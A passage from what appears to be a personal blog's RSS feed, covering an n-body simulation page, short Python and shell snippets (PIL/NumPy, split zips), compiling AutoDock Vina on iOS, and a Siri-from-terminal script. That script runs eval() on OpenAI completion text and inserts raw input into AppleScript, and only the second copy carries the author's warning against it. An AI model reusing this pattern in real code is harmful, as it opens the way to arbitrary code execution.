<span class="w">      </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">newPlot</span><span class="p">(</span><span class="s1">&#39;plot&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">frameData</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">  </span><span class="p">}</span>
<span class="p">}</span>

<span class="nx">animateNBodyProblem</span><span class="p">();</span>
</code></pre>
</div>

<h2 id="playground">Playground</h2>

<script src="https://cdn.plot.ly/plotly-latest.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/mathjs/11.8.0/math.js"></script>

<script src="/assets/n-body/script.js"></script>

<div id="main-plot-div">
<noscript>
The simulations require JavaScript to be viewed properly :(
</noscript>

<div id="plot"></div>

<label for="speedControl">Speed for 3-Body Visualisation</label>
<input type="range" min="1" max="20" value="10" id="speedControl">
<label for="nBodies">Number of Bodies for n-Body Simulation (5-500)</label>
<input type="range" min="5" max="500" value="256" id="nBodies">
<label for="distanceAU">Position Range for Random 3-Body Simulations (1-55)</label>
<input type="number" min="1" max="55" value="10" id="distanceAU">
<label for="vRange">Velocity Range for Random 3-Body Simulation (1-10e4)<label>
<input type="number" min="1" max="10000" value="7e3" id="vRange">

</div>

<p><button type="button" id="startSim1" onclick="plotEarthSun()">Sun-Earth Orbit</button>
<button type="button" id="startSim2" onclick="plotClassic3BodyProblem()">Classic 3-Body Problem</button>
<button type="button" id="startSim3" onclick="plotRandomNBodySimulation()">Random n-Body Simulation</button>
<button type="button" id="startSim4" onclick="plotRandom3BodySimulation()">Random 3-Body Simulation</button></p>

<script>
function clearAl() {
    plotOrbit = false;
    plotClassic = false;
    plotRandom = false;
    plotRandom3Body = false;
}

function plotEarthSun() {
    clearAl();
    plotOrbit = true;
    calculateAndPlot();
    setTimeout(function(){
        calculateAndPlot()
      }, 500);
    }

function plotClassic3BodyProblem() {
      clearAl();
      plotClassic = true;
      calculateAndPlot();
      setTimeout(function(){
        calculateAndPlot()
      }, 500);
    }

function plotRandomNBodySimulation() {
      clearAl();
      plotRandom = true;
      calculateAndPlot();
    }

  function plotRandom3BodySimulation() {
    clearAl();
    plotRandom3Body = true;
    calculateAndPlot();
  }



</script>

<script>
    document.getElementById("speedControl").addEventListener("input", (event) => {
    const speedPercentage = parseInt(event.target.value, 10);
    delay = speedPercentage; // Adjust the delay based on the trackbar value
});
    document.getElementById("nBodies").addEventListener("input", (event) => {
    nBodies = parseInt(event.target.value, 10);
    });

 </script>     

<h2 id="references">References</h2>

<ol>
<li>Barrow-Green, June (2008), "The Three-Body Problem", in Gowers, Timothy; Barrow-Green, June; Leader, Imre (eds.), <em>The Princeton Companion to Mathematics</em>, Princeton University Press, pp. 726–728</li>
<li>Moore, Cristopher (1993), "Braids in classical dynamics", <em>Physical Review Letters</em>, 70 (24): 3675–3679</li>
</ol>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-01-14-Converting-between-PIL-NumPy.html
			</guid>
			<title>
				Converting between image and NumPy array
			</title>
			<description>
				Short code snippet for converting between PIL image and NumPy arrays.
			</description>
			<link>https://web.navan.dev/posts/2020-01-14-Converting-between-PIL-NumPy.html</link>
			<pubDate>Tue, 14 Jan 2020 00:10:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="converting-between-image-and-numpy-array">Converting between image and NumPy array</h1>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">numpy</span>
<span class="kn">import</span> <span class="nn">PIL</span>

<span class="c1"># Convert PIL Image to NumPy array</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">PIL</span><span class="o">.</span><span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&quot;foo.jpg&quot;</span><span class="p">)</span>
<span class="n">arr</span> <span class="o">=</span> <span class="n">numpy</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">img</span><span class="p">)</span>

<span class="c1"># Convert array to Image</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">PIL</span><span class="o">.</span><span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">arr</span><span class="p">)</span>
</code></pre>
</div>

<h2 id="saving-an-image">Saving an Image</h2>

<div class="codehilite">
<pre><span></span><code><span class="k">try</span><span class="p">:</span>
    <span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">destination</span><span class="p">,</span> <span class="s2">&quot;JPEG&quot;</span><span class="p">,</span> <span class="n">quality</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="n">optimize</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">progressive</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">IOError</span><span class="p">:</span>
    <span class="n">PIL</span><span class="o">.</span><span class="n">ImageFile</span><span class="o">.</span><span class="n">MAXBLOCK</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">size</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">img</span><span class="o">.</span><span class="n">size</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">destination</span><span class="p">,</span> <span class="s2">&quot;JPEG&quot;</span><span class="p">,</span> <span class="n">quality</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="n">optimize</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">progressive</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</code></pre>
</div>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2019-12-08-Splitting-Zips.html
			</guid>
			<title>
				Splitting ZIPs into Multiple Parts
			</title>
			<description>
				Short code snippet for splitting zips.
			</description>
			<link>https://web.navan.dev/posts/2019-12-08-Splitting-Zips.html</link>
			<pubDate>Sun, 08 Dec 2019 13:27:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="splitting-zips-into-multiple-parts">Splitting ZIPs into Multiple Parts</h1>

<p><strong>Tested on macOS</strong></p>

<p>Creating the archive:</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">zip</span><span class="na"> -r -s 5 oodlesofnoodles.zip website/</span>
</code></pre>
</div>

<p>5 stands for each split files' size (in mb, kb and gb can also be specified)</p>

<p>For encrypting the zip:</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">zip</span><span class="na"> -er -s 5 oodlesofnoodles.zip website</span>
</code></pre>
</div>

<p>Extracting Files</p>

<p>First we need to collect all parts, then</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">zip</span><span class="na"> -F oodlesofnoodles.zip --out merged.zip</span>
</code></pre>
</div>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-06-02-Compiling-AutoDock-Vina-on-iOS.html
			</guid>
			<title>
				Compiling AutoDock Vina on iOS
			</title>
			<description>
				Compiling AutoDock Vina on iOS
			</description>
			<link>https://web.navan.dev/posts/2020-06-02-Compiling-AutoDock-Vina-on-iOS.html</link>
			<pubDate>Tue, 02 Jun 2020 23:23:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="compiling-autodock-vina-on-ios">Compiling AutoDock Vina on iOS</h1>

<p>Why? Because I can.</p>

<h2 id="installing-makedepend">Installing makedepend</h2>

<p><code>makedepend</code> is a Unix tool used to generate dependencies of C source files. Most modern programs do not use this anymore, but then again AutoDock Vina's source code hasn't been changed since 2011. The first hurdle came when I saw that there was no makedepend command, neither was there any package on any development repository for iOS. So, I tracked down the original source code for <code>makedepend</code> (https://github.com/DerellLicht/makedepend). According to the repository this is actually the source code for the makedepend utility that came with some XWindows distribution back around Y2K. I am pretty sure there is a problem with my current compiler configuration because I had to manually edit the <code>Makefile</code> to provide the path to the iOS SDKs using the <code>-isysroot</code> flag.</p>

<h2 id="editing-the-makefile">Editing the Makefile</h2>

<p>Original Makefile ( I used the provided mac Makefile base )</p>

<pre><code>BASE=/usr/local
BOOST_VERSION=1_41
BOOST_INCLUDE = $(BASE)/include
C_PLATFORM=-arch i386 -arch ppc -isysroot /Developer/SDKs/MacOSX10.5.sdk -mmacosx-version-min=10.4
GPP=/usr/bin/g++
C_OPTIONS= -O3 -DNDEBUG
BOOST_LIB_VERSION=

include ../../makefile_common
</code></pre>

<p>I installed Boost 1.68.0-1 from Sam Bingner's repository. ( Otherwise I would have had to compile boost too 😫 )</p>

<p>Edited Makefile</p>

<pre><code>BASE=/usr
BOOST_VERSION=1_68
BOOST_INCLUDE = $(BASE)/include
C_PLATFORM=-arch arm64 -isysroot /var/sdks/Latest.sdk
GPP=/usr/bin/g++
C_OPTIONS= -O3 -DNDEBUG
BOOST_LIB_VERSION=

include ../../makefile_common

</code></pre>

<h2 id="updating-the-source-code">Updating the Source Code</h2>

<p>Of course since Boost 1.41 many things have been added and deprecated, that is why I had to edit the source code to make it work with version 1.68</p>

<h3 id="error-1-no-matching-constructor">Error 1 - No Matching Constructor</h3>

<pre><code>../../../src/main/main.cpp:50:9: error: no matching constructor for initialization of 'path' (aka 'boost::filesystem::path')
return path(str, boost::filesystem::native);
</code></pre>

<p>This was an easy fix, I just commented this and added a return statement to return the path</p>

<pre><code>return path(str)
</code></pre>

<h3 id="error-2-no-member-named-native_file_string">Error 2 - No Member Named 'native<em>file</em>string'</h3>

<pre><code>../../../src/main/main.cpp:665:57: error: no member named 'native_file_string' in 'boost::filesystem::path'
                std::cerr &lt;&lt; "\n\nError: could not open \"" &lt;&lt; e.name.native_file_string() &lt;&lt; "\" for " &lt;&lt; (e.in ? "reading" : "writing") &lt;&lt; ".\n";
                                                               ~~~~~~ ^
../../../src/main/main.cpp:677:80: error: no member named 'native_file_string' in 'boost::filesystem::path'
                std::cerr &lt;&lt; "\n\nParse error on line " &lt;&lt; e.line &lt;&lt; " in file \"" &lt;&lt; e.file.native_file_string() &lt;&lt; "\": " &lt;&lt; e.reason &lt;&lt; '\n';
                                                                                      ~~~~~~ ^
2 errors generated.
</code></pre>

<p>Turns out <code>native_file_string</code> was deprecated in Boost 1.57 and replaced with just <code>string</code></p>

<h3 id="error-3-library-not-found">Error 3 - Library Not Found</h3>

<p>This one still boggles me because there was no reason for it to not work, as a workaround I downloaded the DEB, extracted it and used that path for compiling.</p>

<h3 id="error-4-no-member-named-native_file_string-again">Error 4 - No Member Named 'native<em>file</em>string' Again.</h3>

<p>But, this time in another file and I quickly fixed it</p>

<h2 id="moment-of-truth">Moment of Truth</h2>

<p>Obviously it was working on my iPad, but would it work on another device? I transferred the compiled binary and </p>

<p><img src="/assets/posts/autodock-vina/s1.png" alt="&quot;AutoDock Vina running on my iPhone&quot;" /></p>

<p>The package is available on my repository and only depends on boost. ( Both, Vina and Vina-Split are part of the package)</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2023-02-08-Interact-with-siri-from-the-terminal.html
			</guid>
			<title>
				Interacting with Siri using the command line
			</title>
			<description>
				Code snippet to interact with Siri by issuing commands from the command-line.
			</description>
			<link>https://web.navan.dev/posts/2023-02-08-Interact-with-siri-from-the-terminal.html</link>
			<pubDate>Wed, 08 Feb 2023 17:21:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="interacting-with-siri-using-the-command-line">Interacting with Siri using the command line</h1>

<p>My main objective was to see if I could issue multi-intent commands in one go. Obviously, Siri cannot do that (neither can Alexa, Cortana, or Google Assistant). The script here can issue either a single command, or use the help of OpenAI's DaVinci model to extract multiple commands and pass them onto siri.</p>

<h2 id="prerequisites">Prerequisites</h2>

<ul>
<li>Run macOS</li>
<li>Enable type to Siri (Settings &gt; Accessibility -> Type to Siri)</li>
<li>Enable the Terminal to control System Events (The first time you run the script, it will prompt you to enable it)</li>
</ul>

<h2 id="show-me-ze-code">Show me ze code</h2>

<p>If you are here just for the code:</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">import</span> <span class="nn">applescript</span>
<span class="kn">import</span> <span class="nn">openai</span>

<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">getenv</span>

<span class="n">openai</span><span class="o">.</span><span class="n">api_key</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s2">&quot;OPENAI_KEY&quot;</span><span class="p">)</span>
<span class="n">engine</span> <span class="o">=</span> <span class="s2">&quot;text-davinci-003&quot;</span>

<span class="k">def</span> <span class="nf">execute_with_llm</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span>
    <span class="n">llm_prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&quot;&quot;&quot;You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.</span>

<span class="s2">    Example:</span>
<span class="s2">    Q: &quot;Turn on the lights and turn off the lights&quot;</span>
<span class="s2">    A: [&quot;Turn on the lights&quot;, &quot;Turn off the lights&quot;]</span>

<span class="s2">    Q: &quot;Switch off the lights and then play some music&quot;</span>
<span class="s2">    A: [&quot;Switch off the lights&quot;, &quot;Play some music&quot;]</span>

<span class="s2">    Q: &quot;I am feeling sad today, play some music&quot;</span>
<span class="s2">    A: [&quot;Play some cheerful music&quot;]</span>

<span class="s2">    Q: &quot;</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">&quot;</span>
<span class="s2">    A: </span>
<span class="s2">    &quot;&quot;&quot;</span>

    <span class="n">completion</span> <span class="o">=</span> <span class="n">openai</span><span class="o">.</span><span class="n">Completion</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">engine</span><span class="o">=</span><span class="n">engine</span><span class="p">,</span> <span class="n">prompt</span><span class="o">=</span><span class="n">llm_prompt</span><span class="p">,</span> <span class="n">max_tokens</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">command_text</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot; &quot;</span><span class="p">))</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">task</span> <span class="ow">in</span> <span class="nb">eval</span><span class="p">(</span><span class="n">completion</span><span class="o">.</span><span class="n">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">text</span><span class="p">):</span>
        <span class="n">execute_command</span><span class="p">(</span><span class="n">task</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">execute_command</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span>
<span class="w">    </span><span class="sd">&quot;&quot;&quot;Execute a Siri command.&quot;&quot;&quot;</span>

    <span class="n">script</span> <span class="o">=</span> <span class="n">applescript</span><span class="o">.</span><span class="n">AppleScript</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;&quot;&quot;</span>
<span class="s2">        tell application &quot;System Events&quot; to tell the front menu bar of process &quot;SystemUIServer&quot;</span>
<span class="s2">            tell (first menu bar item whose description is &quot;Siri&quot;)</span>
<span class="s2">                perform action &quot;AXPress&quot;</span>
<span class="s2">            end tell</span>
<span class="s2">        end tell</span>

<span class="s2">        delay 2</span>

<span class="s2">        tell application &quot;System Events&quot;</span>
<span class="s2">            set textToType to &quot;</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">&quot;</span>
<span class="s2">            keystroke textToType</span>
<span class="s2">            key code 36</span>
<span class="s2">        end tell</span>
<span class="s2">    &quot;&quot;&quot;</span><span class="p">)</span>

    <span class="n">script</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>


<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&quot;__main__&quot;</span><span class="p">:</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
    <span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s2">&quot;command&quot;</span><span class="p">,</span> <span class="n">nargs</span><span class="o">=</span><span class="s2">&quot;?&quot;</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">&quot;The command to pass to Siri&quot;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s2">&quot;What time is it?&quot;</span><span class="p">)</span>
    <span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;--openai&#39;</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="n">argparse</span><span class="o">.</span><span class="n">BooleanOptionalAction</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">&quot;Use OpenAI to detect multiple intents&quot;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>

    <span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">openai</span><span class="p">:</span>
        <span class="n">execute_with_llm</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">execute_command</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
</code></pre>
</div>

<p>Usage:</p>

<div class="codehilite">
<pre><span></span><code>python3<span class="w"> </span>main.py<span class="w"> </span><span class="s2">&quot;play some taylor swift&quot;</span>
python3<span class="w"> </span>main.py<span class="w"> </span><span class="s2">&quot;turn off the lights and play some music&quot;</span><span class="w"> </span>--openai
</code></pre>
</div>

<h2 id="eli5">ELI5</h2>

<p>I am not actually going to explain it as if I am explaining to a five-year old kid.</p>

<h3 id="applescript">AppleScript</h3>

<p>In the age of Siri Shortcuts, AppleScript can still do more. It is a scripting language created by Apple that can help you automate pretty much anything you see on your screen.</p>

<p>We use the following AppleScript to trigger Siri and then type in our command:</p>

<div class="codehilite">
<pre><span></span><code><span class="k">tell</span> <span class="nb">application</span> <span class="s2">&quot;System Events&quot;</span> <span class="k">to</span> <span class="k">tell</span> <span class="nb">the</span> <span class="nb">front</span> <span class="na">menu</span> <span class="nv">bar</span> <span class="k">of</span> <span class="nv">process</span> <span class="s2">&quot;SystemUIServer&quot;</span>
    <span class="k">tell</span> <span class="p">(</span><span class="nb">first</span> <span class="na">menu</span> <span class="nv">bar</span> <span class="nb">item</span> <span class="nb">whose</span> <span class="nv">description</span> <span class="ow">is</span> <span class="s2">&quot;Siri&quot;</span><span class="p">)</span>
        <span class="nb">perform action</span> <span class="s2">&quot;AXPress&quot;</span>
    <span class="k">end</span> <span class="k">tell</span>
<span class="k">end</span> <span class="k">tell</span>

<span class="nb">delay</span> <span class="mi">2</span>

<span class="k">tell</span> <span class="nb">application</span> <span class="s2">&quot;System Events&quot;</span>
    <span class="k">set</span> <span class="nv">textToType</span> <span class="k">to</span> <span class="s2">&quot;Play some rock music&quot;</span>
    <span class="nv">keystroke</span> <span class="nv">textToType</span>
    <span class="na">key code</span> <span class="mi">36</span>
<span class="k">end</span> <span class="k">tell</span>
</code></pre>
</div>

<p>This first triggers Siri, waits for a couple of seconds, and then types in our command. In the script, this functionality is handled by the <code>execute_command</code> function.</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">applescript</span>

<span class="k">def</span> <span class="nf">execute_command</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span>
<span class="w">    </span><span class="sd">&quot;&quot;&quot;Execute a Siri command.&quot;&quot;&quot;</span>

    <span class="n">script</span> <span class="o">=</span> <span class="n">applescript</span><span class="o">.</span><span class="n">AppleScript</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;&quot;&quot;</span>
<span class="s2">        tell application &quot;System Events&quot; to tell the front menu bar of process &quot;SystemUIServer&quot;</span>
<span class="s2">            tell (first menu bar item whose description is &quot;Siri&quot;)</span>
<span class="s2">                perform action &quot;AXPress&quot;</span>
<span class="s2">            end tell</span>
<span class="s2">        end tell</span>

<span class="s2">        delay 2</span>

<span class="s2">        tell application &quot;System Events&quot;</span>
<span class="s2">            set textToType to &quot;</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">&quot;</span>
<span class="s2">            keystroke textToType</span>
<span class="s2">            key code 36</span>
<span class="s2">        end tell</span>
<span class="s2">    &quot;&quot;&quot;</span><span class="p">)</span>

    <span class="n">script</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</code></pre>
</div>

<h3 id="multi-intent-commands">Multi-Intent Commands</h3>

<p>We can call OpenAI's API to autocomplete our prompt and extract multiple commands. We don't need to use OpenAI's API, and can also simply use Google's Flan-T5 model using HuggingFace's transformers library. </p>

<h4 id="ze-prompt">Ze Prompt</h4>

<div class="codehilite">
<pre><span></span><code>You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.

    Example:
    Q: &quot;Turn on the lights and turn off the lights&quot;
    A: [&quot;Turn on the lights&quot;, &quot;Turn off the lights&quot;]

    Q: &quot;Switch off the lights and then play some music&quot;
    A: [&quot;Switch off the lights&quot;, &quot;Play some music&quot;]

    Q: &quot;I am feeling sad today, play some music&quot;
    A: [&quot;Play some cheerful music&quot;]

    Q: &quot;{command_text}&quot;
    A:
</code></pre>
</div>

<p>This prompt gives the model a few examples to increase the generation accuracy, along with instructing it to return a Python list. </p>

<h4 id="ze-code">Ze Code</h4>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">openai</span>

<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">getenv</span>

<span class="n">openai</span><span class="o">.</span><span class="n">api_key</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s2">&quot;OPENAI_KEY&quot;</span><span class="p">)</span>
<span class="n">engine</span> <span class="o">=</span> <span class="s2">&quot;text-davinci-003&quot;</span>

<span class="k">def</span> <span class="nf">execute_with_llm</span><span class="p">(</span><span class="n">command_text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span>
    <span class="n">llm_prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&quot;&quot;&quot;You are provided with multiple commands as a single command. Break down all the commands and return them in a list of strings. If you are provided with a single command, return a list with a single string, trying your best to understand the command.</span>

<span class="s2">    Example:</span>
<span class="s2">    Q: &quot;Turn on the lights and turn off the lights&quot;</span>
<span class="s2">    A: [&quot;Turn on the lights&quot;, &quot;Turn off the lights&quot;]</span>

<span class="s2">    Q: &quot;Switch off the lights and then play some music&quot;</span>
<span class="s2">    A: [&quot;Switch off the lights&quot;, &quot;Play some music&quot;]</span>

<span class="s2">    Q: &quot;I am feeling sad today, play some music&quot;</span>
<span class="s2">    A: [&quot;Play some cheerful music&quot;]</span>

<span class="s2">    Q: &quot;</span><span class="si">{</span><span class="n">command_text</span><span class="si">}</span><span class="s2">&quot;</span>
<span class="s2">    A: </span>
<span class="s2">    &quot;&quot;&quot;</span>

    <span class="n">completion</span> <span class="o">=</span> <span class="n">openai</span><span class="o">.</span><span class="n">Completion</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">engine</span><span class="o">=</span><span class="n">engine</span><span class="p">,</span> <span class="n">prompt</span><span class="o">=</span><span class="n">llm_prompt</span><span class="p">,</span> <span class="n">max_tokens</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">command_text</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&quot; &quot;</span><span class="p">))</span><span class="o">*</span><span class="mi">2</span><span class="p">)</span>

    <span class="k">for</span> <span class="n">task</span> <span class="ow">in</span> <span class="nb">eval</span><span class="p">(</span><span class="n">completion</span><span class="o">.</span><span class="n">choices</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">text</span><span class="p">):</span> <span class="c1"># NEVER EVAL IN PROD RIGHT LIKE THIS</span>
        <span class="n">execute_command</span><span class="p">(</span><span class="n">task</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="gluing-together-code">Gluing together code</h3>

<p>To finish it all off, we can use argparse to only send the input command to OpenAI when asked to do so.</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">argparse</span>

<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&quot;__main__&quot;</span><span class="p">:</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
    <span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s2">&quot;command&quot;</span><span class="p">,</span> <span class="n">nargs</span><span class="o">=</span><span class="s2">&quot;?&quot;</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">&quot;The command to pass to Siri&quot;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="s2">&quot;What time is it?&quot;</span><span class="p">)</span>
    <span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">&#39;--openai&#39;</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="n">argparse</span><span class="o">.</span><span class="n">BooleanOptionalAction</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s2">&quot;Use OpenAI to detect multiple intents&quot;</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>

    <span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">openai</span><span class="p">:</span>
        <span class="n">execute_with_llm</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">execute_command</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">command</span><span class="p">)</span>
</code></pre>
</div>

<h2 id="conclusion">Conclusion</h2>

<p>Siri is still dumb. When I ask it to <code>Switch off the lights</code>, it default to the home thousands of miles away. But, this code snippet definitely does work!</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-01-16-Image-Classifier-Using-Turicreate.html
			</guid>
			<title>
				Creating a Custom Image Classifier using Turicreate to detect Smoke and Fire
			</title>
			<description>
				Tutorial on creating a custom Image Classifier using Turicreate and a dataset from Kaggle
			</description>
			<link>https://web.navan.dev/posts/2020-01-16-Image-Classifier-Using-Turicreate.html</link>
			<pubDate>Thu, 16 Jan 2020 10:36:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="creating-a-custom-image-classifier-using-turicreate-to-detect-smoke-and-fire">Creating a Custom Image Classifier using Turicreate to detect Smoke and Fire</h1>

<p><em>For setting up Kaggle with Google Colab, please refer to <a rel="noopener" target="_blank" href="/posts/2020-01-15-Setting-up-Kaggle-to-use-with-Colab"> my previous post</a></em></p>

<h2 id="dataset">Dataset</h2>

<h3 id="mounting-google-drive">Mounting Google Drive</h3>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">google.colab</span> <span class="kn">import</span> <span class="n">drive</span>
<span class="n">drive</span><span class="o">.</span><span class="n">mount</span><span class="p">(</span><span class="s1">&#39;/content/drive&#39;</span><span class="p">)</span>
</code></pre>
</div>

<h3 id="downloading-dataset-from-kaggle">Downloading Dataset from Kaggle</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">&#39;KAGGLE_CONFIG_DIR&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&quot;/content/drive/My Drive/&quot;</span>
<span class="err">!</span><span class="n">kaggle</span> <span class="n">datasets</span> <span class="n">download</span> <span class="n">ashutosh69</span><span class="o">/</span><span class="n">fire</span><span class="o">-</span><span class="ow">and</span><span class="o">-</span><span class="n">smoke</span><span class="o">-</span><span class="n">dataset</span>
<span class="err">!</span><span class="n">unzip</span> <span class="s2">&quot;fire-and-smoke-dataset.zip&quot;</span>
</code></pre>
</div>

<h2 id="pre-processing">Pre-Processing</h2>

<div class="codehilite">
<pre><span></span><code><span class="nt">!mkdir</span><span class="na"> default smoke fire</span>
</code></pre>
</div>

<p>\</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">!ls</span><span class="na"> data/data/img_data/train/default/*.jpg</span>
</code></pre>
</div>

<p>\</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">img_1002.jpg</span><span class="na">   img_20.jpg     img_519.jpg     img_604.jpg       img_80.jpg</span>
<span class="na">img_1003.jpg   img_21.jpg     img_51.jpg     img_60.jpg       img_8.jpg</span>
<span class="na">img_1007.jpg   img_22.jpg     img_520.jpg     img_61.jpg       img_900.jpg</span>
<span class="na">img_100.jpg    img_23.jpg     img_521.jpg    &#39;img_62 (2).jpg&#39;   img_920.jpg</span>
<span class="na">img_1014.jpg   img_24.jpg    &#39;img_52 (2).jpg&#39;     img_62.jpg       img_921.jpg</span>
